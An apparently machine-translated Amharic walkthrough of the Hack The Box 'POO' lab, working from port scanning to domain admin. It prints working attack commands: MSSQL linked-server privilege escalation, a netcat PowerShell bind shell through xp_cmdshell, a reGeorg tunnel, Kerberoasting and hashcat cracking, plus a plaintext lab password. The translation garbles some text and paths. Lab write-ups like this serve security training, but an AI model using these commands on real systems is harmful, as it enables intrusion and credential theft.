
แ แแ
แฝแแ แแตแฅ แแฝแแ แฅแป แณแญแแ แจแฃแขแซแ แแญ แซแแแ แ แ แแแญ แแ-แแฅแซแถแช แแแฃแกแ แฅแแแจแแซแแ .
แ แแแแซแ แแญ แฅแแฐแฐแแแธแแฃ POO แ แแแ แจแฅแแถแฝ แฐแจแแแฝ แ แตแแฝ แ แญแฒแญ แณแญแฌแญแฐแช แ แซแฃแข แแตแฅ แฝแแณแแฝแ แแแแฐแฝ แจแฐแแจแฐ แแแข แแก แซแแแ แ แตแฐแแแ แแแแตแฃ แแฉ แแฅแถแฝแ แแณแฐแ แฅแ แ แแจแจแปแ แ แแฐแฑ แแตแฅ 5 แฃแแฒแซแแฝแ แ แแฐแฅแฐแฅ แแแแ แแซ แแแแต แแแข
แจแแฆแซแถแช แแญ แซแแ แแแแแต แ VPN แ แฉแ แแ. แตแแแจแ แฐแ แแแต แ แแต แแแญ แจแแซแแ แฐแแฝ แแญ แแฐ แแ แ แแณแจแแจแฅ แฒแแก แจแแฐแซ แฎแแแฐแญ แแญแ แแฅแญแตแ แ แแ แแจแ แซแแ แต แ แตแฐแแแ แฅแแณแญแแแ แญแแจแซแ ๐
แตแญแ
แณแ แแจแ
แตแ แ แณแฒแต แแฃแฅแแฝแฃ แถแแตแแฎแฝ แฅแ แแแฝ แแจแแแฝ แแแแ
แฅแแฒแฝแ แฅแ แแ แญแฉแข ะธ แ IIKB แ แซแฃแข. แฅแแฒแแ แจแฅแญแตแ แจแแ แฅแซแแแฝแฃ แฅแซแแแฝแฃ แฅแแแแฝ แฅแ แแญแฎแฝ .
แแแ แแจแแแฝ แแตแแ
แญแณแ แแแแแฝ แฅแป แจแฐแฐแก แแธแแข แจแแ
แฐแแต แฐแซแฒ แญแ
แแ แฐแแต แ แแฅแแต แจแฐแแแแ แฅแแแต แฅแ แแดแแฝ แ แแ แแ แ แแแ แแญ แแแฐแญแฐแ แแณแต แแแ แ แญแแต แแแแแต แ แญแแตแตแ.
แแแขแซ
แญแ แจแแจแจแป แจแแณ แแแต แแฝแแฝแ แซแแ แฒแแ 5 แฃแแฒแซแแฝแ แญแแแข

แซแแ แ แตแฐแแแ
แแแแซ แฅแ แ แตแซแปแ แฐแฐแฅแทแแข

ะะฐัะฝะตะผ!
แฃแแฒแซ แฅแแฐแแ แซแแฑ
แญแ
แแฝแ แจแ แญ แ แ แตแซแป แ แแ 10.13.38.11 แแฐ /etc/hosts แจแแจแแจแแข
10.13.38.11 poo.htb
แจแแแแชแซแ แฅแญแแ แญแแต แแฐแฆแฝแ แแแแต แแ. แแแแ แแฐแฆแฝ แ nmap แแแแแต แจแ แ แแ แตแแแแตแต แ แแแแชแซ แ masscan แ แฐแญแแแแแข แแแแ TCP แฅแ UDP แแฐแฆแฝ แจ tun0 แ แญแแแฝ แ 500pps แฅแแแแแแข
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
แ แแแฃ แ แแฐแฆแน แแญ แตแแแฐแฉ แ แแแแแถแฝ แจแ แแ แแญแแญ แแจแ แแแแแตแฃ แ -A แ แแซแญ แฅแแแแข
nmap -A poo.htb -p80,1433 
แตแแแ
แฃ IIS แฅแ MSSQL แ แแแแแถแฝ แ แแแข แ แแ
แ แแฃแ แจแแซ แฅแ แจแฎแแแฉแฐแญ แตแญแญแแ แจแฒ แคแ แคแต แตแ แฅแแแแแแข แ แตแญ แ แแแแฉ แแญแฃ แ IIS แแแป แแฝ แฐแแแณ แฐแฐแฅแถแแแข

แตแ แแแซแแน แฅแแตแแแแข แแแ
แแกแตแฐแญ แฅแ แแแแแข แ แแแชแซแแน แแตแฅ แจแฅแจแถแฝ แฅแแต 128 (-t)แฃ URL (-u)แฃ แแแแ แแแต (-w) แฅแ แฅแแ แจแแตแกแ (-x) แ
แฅแซแแฝแ แฅแแแแปแแแข
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
แตแแแ
แฃ แ/แ แตแฐแณแณแชแ แแแซแฃ แฅแแฒแแ แจ.DS_Store แดแตแญแถแ แ แแแแแต แแจแแป แแญแ HTTP แแจแแแซ แ แแแข .DS_Store แแ แแ แจแฐแ แแ แ
แแฅแฎแฝแ แจแแซแจแแน แฅแแฐ แจแแญแแฝ แแญแแญแฃ แจแ แถ แฆแณแฃ แจแฐแแจแ แจแแญแฃ แแตแ แซแ แแญแแฝ แแธแแข แฅแแฒแ
แแญแแฑ แแญแ แ แตแญ แแแขแแฝ แจแตแญ แ แแแแญ แแแซ แแตแฅ แแ แแแ
แญแฝแแแข แตแแแ
, แตแ แแแซแ แญแแต แแจแ แฅแแแแแ. แแแ
แ แแ แแ แญแฝแแ .
python3 dsstore_crawler.py -i http://poo.htb/ 
แจแแแซแแ แญแแถแฝ แฅแแแแแ. แฅแแ
แ แฃแ แจแแซแตแฐแตแต แแแญ แจ / dev แแแซ แแ, แจแฅแฑ แแตแฅ แแแฎแฝแ แฅแ แฒแข แแญแแฝแ แ แแแต แ
แญแแซแแฝ แแตแฅ แแจแต แฅแแฝแแแ. แแ แ แแแแแฑ แแ แญแ แญแคแต แ แญแญ แตแ แจแฐแแแ แจแแ แจแแแแชแซแแนแ 6 แจแแญแ แฅแ แจแแแซ แตแแฝแ แแ แแ แฅแแฝแแแแข แญแ
แแ แฐแแแญแแต แ แแ แแ แแจแแแฅ แญแฝแแแข .

แฅแ แ "poo_co" แจแแแแญ แ แแต แจแฝแแ แแญแ แฅแแแแแแข แแฅแ แแ แแตแจแ แฅแแณแแฅแ แณแแแ
แ แแแ แจแแแแ -แแแฑ แแแแ แแแต แ "แฎ" แจแแแแฉแตแ แแแต แแ แแญแซแแแข
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtแฅแ แ wfuzz แญแตแแแตแข
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
แฅแ แตแญแญแแแแ แแ แซแแ! แญแ
แแ แแญแ แฅแแแแจแณแแแฃ แแตแญแญแแฑแ แฅแแตแแแฅ (แ DBNAME แแคแต แ แแแแ แฅแแฑ แจ MSSQL แจแแก แแธแแข)

แฃแแฒแซแแ แ แตแจแญแ แ แ 20% แฅแแตแแแแแข

แ แฃแแฒแซ
แจ MSSQL แแญ แฅแแแแแแแฃ DBeaverแ แฅแ แแแแแข

แ แแ
แณแณแคแ แแตแฅ แแแ แจแแซแตแฐแตแต แแแญ แ แแแแแแฃ แฅแตแฒ SQL Editor แฅแแแ แญ แฅแ แฐแ แแแแฝ แแ แฅแแฐแแ แฅแแแตแฝแข
SELECT name FROM master..syslogins; 
แแแต แฐแ แแแแฝ แ แแแข แแฅแถแปแฝแแ แฅแแแตแฝแข
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
แตแแแ
, แแแ แแฉ แแฅแถแฝ แจแแ. แจแฐแแแแตแ แ แแแแฎแฝ แฅแแญ, แตแแแ
แแด แ แแญแแญ แฝแแซแแ .
SELECT * FROM master..sysservers; 
แตแแแ
แแ SQL แ แแแแญ แฅแแแแแแข แญแแต แแ แญแ
() แ แแ แแ แ แแ
แ แแแแญ แแญ แจแตแฅแแแฝแ แ แแปแธแ แฅแแแตแฝแข
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
แฅแ แจแฅแซแ แแ แฅแแณแ แแแแฃแต แฅแแฝแแแแข
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');แฅแแแณแ แแ แแฐแแแ แ แแแแญ แฅแซแ แตแแแญแฅ แฅแซแแ แจแแจแแแแ แ แแ แฐแ แแ แ แแต แแตแฅ แแ! แ แฐแแแแ แ แแแแญ แแญ แแ แจแฐแ แแ แ แแต แฅแซแแตแ แฅแแฐแแ แฅแแญแข
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
แฅแ แ แแ แจแฐแแแแ แ แแแแญ แแฐ แฅแ แจแแจแ แ แฅแซแ แ แจแตแแ แ แแต แฅแแฐแแแแ แฅแแญ!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
แตแแแ
แฃ แแแ แแฅแถแฝ แแแฉแต แจแแแฃแ แจDBO แ แแต แแแข แจแฐแแแ แ แแแแญ แฅแซแ แฒแแญแฅ แแฉ แแฅแถแฝแ แฅแแแตแฝแข
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
แฅแแฐแแแแจแฑแต, แแแ แแฉ แแฅแถแฝ แ แแ! แ แตแฐแณแณแชแซแฝแแ แฅแแฐแแ
แฅแแแ แญแข แแแญ แแ แ แญแแต แแ แญแ
แ แญแแ
แฑแแธแแแฃ แ EXECUTE AT แฅแแตแญแแแข
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";แฅแ แ แแ แจแ แฒแฑ แฐแ แแ แแตแญแญแแถแฝ แแญ แฅแแแแแแ, แ แฒแฑแ แจแฃแแฒแซ แณแณแคแ แญแจแณแฐแ.

แญแ
แแ แฃแแฒแซ แ แตแจแญแ แ แแฐ แแต แฅแแแณแแแข

แจแแ แตแซแญ แฃแแฒแซ
MSSQLแ แฐแ แ แแ แแแแ แฅแแแแแฃ แฅแ แจแขแแแฌแต แแฌแ mssqlclient แฅแจแฐแ แแแฉ แแแข
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
แจแญแแ แแแฝแ แแแแต แ แแฅแ, แฅแ แแฐแ แฒแ แซแแแแ แจแแแแชแซแ แแแญ แฃแขแซแ แแ. แตแแแ
, แจแตแญ แ แแแแญ แแแแญ แฅแแแแแแ (แแน แผแ แแแฃแ แจแแญแปแ แแ, แแจแญแแ แฅแจแฐแซ แฅแแฐแแ แญแแตแแ).

แแ แแณแจแป แฐแจแแญแแแข แแแ แฅแแณแ แแญแแ แจ MSSQL แแแ แฅ แฅแแฝแแแฃ แแ แแญแแต แจแแฎแแซแ แ แแฃแฅ แแแแแฝ แฅแแฐแฐแแแฉ แแแ
แฅแป แซแตแแแแแแข แฅแ แ MSSQL แแแซ แแตแฅ Python แฅแแณแ แ แแแแ.

แจแแซ แจ web.config แแญแแ แแแแ แฅ แแแ แฝแแญ แจแแ.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
แแตแญแญแแถแฝ แจแฐแแแฃ แแฐ/แ แตแฐแณแณแช แญแแฑ แฅแ แฃแแฒแซแแ แญแแฐแฑแข


แจแฅแแจแ แฃแแฒแซ
แฅแแฐ แฅแแแฑ แจแแ แแจแญแแแ แแแ แแ แ แแณแแต แฝแแฎแฝ แ แ, แแแญ แแ แจแ แแณแจ แแจแฅ แ แแฅแฎแฝแ แตแแแแจแต, IPv6 แแฎแถแฎแ แฅแ แ แแญ แฅแแฐแแแ แฅแแตแฐแแแแ!

แญแ
แแ แ แตแซแป แแฐ /etc/hosts แซแญแแข
dead:babe::1001 poo6.htb
แ แตแฐแแแแ แฅแแฐแแ แฅแแแแแฃ แแ แ แแ
แแ แ IPv6แข

แฅแ แจWinRM แ แแแแแต แ IPv6 แแญ แญแแแแข แจแฐแแแต แแตแญแญแแถแฝ แแญ แฅแแแแแข

แ แดแตแญแถแ แแญ แฃแแฒแซ แ แแฃ แ แตแจแญแฅแข

แจแฐแแ แ แฃแแฒแซ
แแญ แ แตแฐแแแ แแญ แตแแ แ แแ แจแฐแแจ แแแญ แ แแแแแแข แจแแซ แฅแแฐแแ แแตแญแญแแถแฝแ แแแแแ แฐแแฐแ (แฅแแ แ แแ แญแแต แแญ แฝแแซแแ ). แแแญ แแ แแแแ SPNs แจแตแญแแฑ แ แแแ แญแคแ แแแแต แ แแปแแฉแแข
setspn.exe -T intranet.poo -Q */* 
แตแแแแ แ MSSQL แ แฉแ แฅแแตแแฝแ.

แ แแ
แแแแต แจแฐแ แแแแฝแ SPN p00_hr แฅแ p00_adm แฅแแแแแแฃ แญแ
แแแต แฅแแฐ แจแญแคแฎแ แตแฐแ แแ แฅแแถแฝ แฐแแแญ แแธแ แแแต แแแข แ แ แญแฉแฃ แจแญแแ แแแปแธแแ แแฝ แแแแต แฅแแฝแแแแข
แ แแแแชแซ แจ MSSQL แฐแ แแแ แแญแแ แจแฐแจแแ แผแ แแแแต แ แแฆแตแข แแแญ แแ แแณแจแปแ แจแฐแแฐแ แตแแแแ แจแ แตแฐแแแ แแญ แแแแแต แซแแ แ แแฐแฆแฝ 80 แฅแ 1433 แฅแป แแแข แแแญ แแ แแฐแฅ 80 แตแซแแญ แแฟแแชแซ แญแปแแ! แแแ แฅแแ แแแแ . แจ tunnel.aspx แแญแแ แแฐ แจแตแญ แ แแแแญ แแแป แแแซ แฅแแญแแ - C: inetpubwwwrootแข

แแ แฅแฑแ แแแแแต แตแแแญแญ 404 แตแ
แฐแต แญแฐแญแตแฅแแ แญแ
แแแต *.aspx แแญแแฝ แ แญแฐแแ แฉแ แแแต แแแข แ แฅแแแ
แ
แฅแซแแฝ แแญแแฝแ แแแตแฌแต ASP.NET 4.5 แ แฅแแฐแแจแฐแแ แญแซแแข
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
แฅแ แ แแ, tunnel.aspx แ แตแแฐแญแต, แแแ แแแญ แแแแต แแแ แแ แจแแแแ แแแต แฅแแแแแ.
![]()
แตแซแแญแ แจแแซแตแฐแแแแแ แจแแฐแแ แชแซแแ แฐแแ แ แญแแ แฅแแแแญแข แแแแ แตแซแแญ แจแแฐแฅ 5432 แแฐ แ แแแแฉ แฅแแตแฐแแแแแแข
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
แฅแ แจแแแแแ แแฐแแ แชแซ แตแซแแญ แ แฅแ แแฎแญแฒ แแแแญ แแฎแญแฒ แผแญแแ แฅแแ แแแแแข แญแ
แ แฐแช แแฐ /etc/proxychains.conf แแ
แจแต แแญแ แฅแแจแแญแข

แ แแ แแฎแแซแแ แแฐ แ แแแแฉ แฅแแญแแ , แจแฅแฑ แแญ แจแฐแจแแ แแฐแชแซ แ
แญแแต แฅแแฐแญแแแ, แฅแ แตแญแชแแฑ แจ Kerberoasting แฅแแตแ แจแแแแฝแแ แต.

แ แแแฃ แ MSSQL แ แฉแแฃ แฐแแแ แฅแแตแแแจแแแแข
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
แฅแ แ แแฎแญแฒแซแฝแ แ แฉแ แฅแแแแแแแข
proxychains rlwrap nc poo.htb 4321 
แฅแ แแฝแนแ แฅแแแฐแต.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
แ แแแ แ แ แฅแแแ
แแฝแแฝ แแญ แแฐแแแ แซแตแแแแแณแ. แฎแญแฎแ แจแญแแ แแ แณแณ แแแแ แแแต แตแแแแ แจแ แ แดแญแแตแต แแตแฅ แจแแจแกแตแ แแแแ แจแญแแ แแแฝ แแแแ แแแต แฐแ แแแฉแข แแแแ แญ แแฝแซแตแ แฅแแ แแแแแข
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceแฅแ แแแฑแแ แจแญแแ แแแฝแฃ แจแแแแชแซแ แ dutch_passwordlist.txt แแแแ -แแแต แแตแฅ แฅแ แแแฐแแ แ Keyboard-Combinations.txt แแตแฅ แฅแแแแแแข


แฅแ แตแแแ
แถแตแต แฐแ แแแแฝ แ แแ, แแฐ แแซ แแแฃแ แชแซ แฅแแแณแแ. แแแแชแซ แ แตแซแปแแ แฅแแแ
แข

แ แฃแ แฅแฉแฃ แจแแซ แแแฃแ แชแซแแ แจแ แญแ แ แตแซแป แฐแแจแแแข แแแแ แจแแซ แฐแ แแแแฝแ แฅแ แฅแแฒแแ แจแตแแ แ แตแฐแณแณแช แฅแแฐแแ แฅแแแ
แข PowerView.ps1 แแจแ แแแแแต แตแญแชแแฑแ แแแแจแตแข แจแแซแ แ -s แแแชแซ แแตแฅ แแแซแแ แจแตแญแชแแต แแญ แ แแแแฝ แญแ-แแ แ แแ แแ แฅแแแแแแ. แฅแ แจแแซ แจ PowerView แตแญแชแแฑแ แฅแป แญแซแแข

แ แแ แแแแ แฐแแฃแซแถแนแ แแแแต แ แแ. แจp00_adm แฐแ แแ แแฅแต แซแแ แฐแ แแ แญแแตแแแฃ แตแแแ
แ แฅแฑ แ แแต แแตแฅ แฅแแฐแซแแแข แแแ
แฐแ แแ แจPSCRidential แแแญ แฅแแแ แญแข
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpassแ แแ Creds แจแแแแแ แฃแธแ แแแ แจPowershell แตแแแแฝ p00_admแ แ แแแจแ แญแแธแแแข แจแฐแ แแแแฝแ แแญแแญ แฅแ แจแ แตแฐแณแณแชแแ แแแซ แฃแ แช แฅแแณแญแข
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
แฅแ แตแแแ
แฃ แจแฅแ แฐแ แแ แ แฅแแแต แแฉ แแฅแต แ แแแข แจแจแตแแน แกแตแแฝ แ แฃแ แฅแแฐแแ แฅแแญแข
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
แ แแจแจแป แฐแ แแแ แจแแซ แ แตแฐแณแณแช แแแแ แฅแแจแแแฃแแแข แญแ
แ แญแแต แแฐ แแซ แแแฃแ แชแซ แแแแฃแต แแฅแต แญแฐแ แแ. แแปแฝแแ แฐแ แ
แแ แ WinRM แแแแฃแต แฅแแแญแญแข แญแ-แแญแ แฒแ แแ แ แฌแแฆแญแ
แ แฐแฐแกแต แตแ
แฐแถแฝ แแซ แฐแแฃแแข

แจแแซ แแ แแแ แฅแแ แแแแ แจ WinRM แแญ แแแแแแต. แจแแแแแต แแแชแซแแฝแ แญแญแแฑ แฅแ แญแแญแฉแข

แแแแแแต แฅแแแญแซแแ, แฅแ แ แตแญแแฑ แแตแฅ แแ.

แฃแแฒแซ แแ แจแแแข แจแแซ แฐแ แแแแ แญแแแจแฑ แฅแ แดแตแญแถแแฝแ แซแจแแแกแข

mr3ks แแญ แฃแแฒแซแแ แฅแแแแแ แฅแ แแฆแซแถแชแ 100% แฐแ แแ
แแแข

แญแผแ แแ. แฅแแฐ แแฅแจ แแแตแฃ แจแแ
แฝแแ แ แฒแต แแแญ แฅแแฐแฐแแญแญ แฅแ แแฅแญแตแ แ แแ แตแแแแ แ แตแฐแซแจแต แญแตแกแข
แ แแญ แแแแแแ แญแฝแแแข . แฅแแซแ แ แตแฐแณแฝ แแณแแถแฝแ, แจแฐแแแฑ แฎแญแถแฝแ แฅแ แฅแแฒแแ แถแแตแแฎแฝแ แแแแต แญแฝแแ. แฅแ แจแ แญแฒ แแญแแฝแ แจแแซแแ แฐแแฝ แจแแแฉแ แต แแ
แ แจแฐแฅ แฅแแฐแ แตแฅแฃ แจแแซแ แ แแแแแ แจแ แญแฒ แฅแ แจแแจแ แฐแ
แแแต แแณแฎแฝ แแญ แแแ แแจแณแณแต แฅแแฝแแแแข
แแแญ: hab.com
